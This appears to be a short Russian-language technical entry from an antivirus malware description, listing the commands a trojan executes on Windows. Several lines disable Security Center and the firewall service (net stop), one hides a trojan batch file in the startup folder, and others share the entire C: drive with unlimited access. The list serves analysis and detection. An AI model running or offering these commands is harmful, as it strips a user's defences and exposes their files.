Техническая информация
- '<SYSTEM32>\net.exe' stop УSecurity CenterФ
- '<SYSTEM32>\net.exe' stop SharedAccess
- %TEMP%\1.tmp\2.bat
- '<SYSTEM32>\attrib.exe' +r +h %WINDIR%\startm~1\PROGRAM\startup\trojan.bat
- '<SYSTEM32>\net1.exe' stop SharedAccess
- '<SYSTEM32>\net1.exe' stop УSecurity CenterФ
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\2.bat" <Полный путь к файлу>"
- '<SYSTEM32>\net.exe' share system=C:\ /unlimited
- '<SYSTEM32>\net1.exe' share system=C:\ /unlimited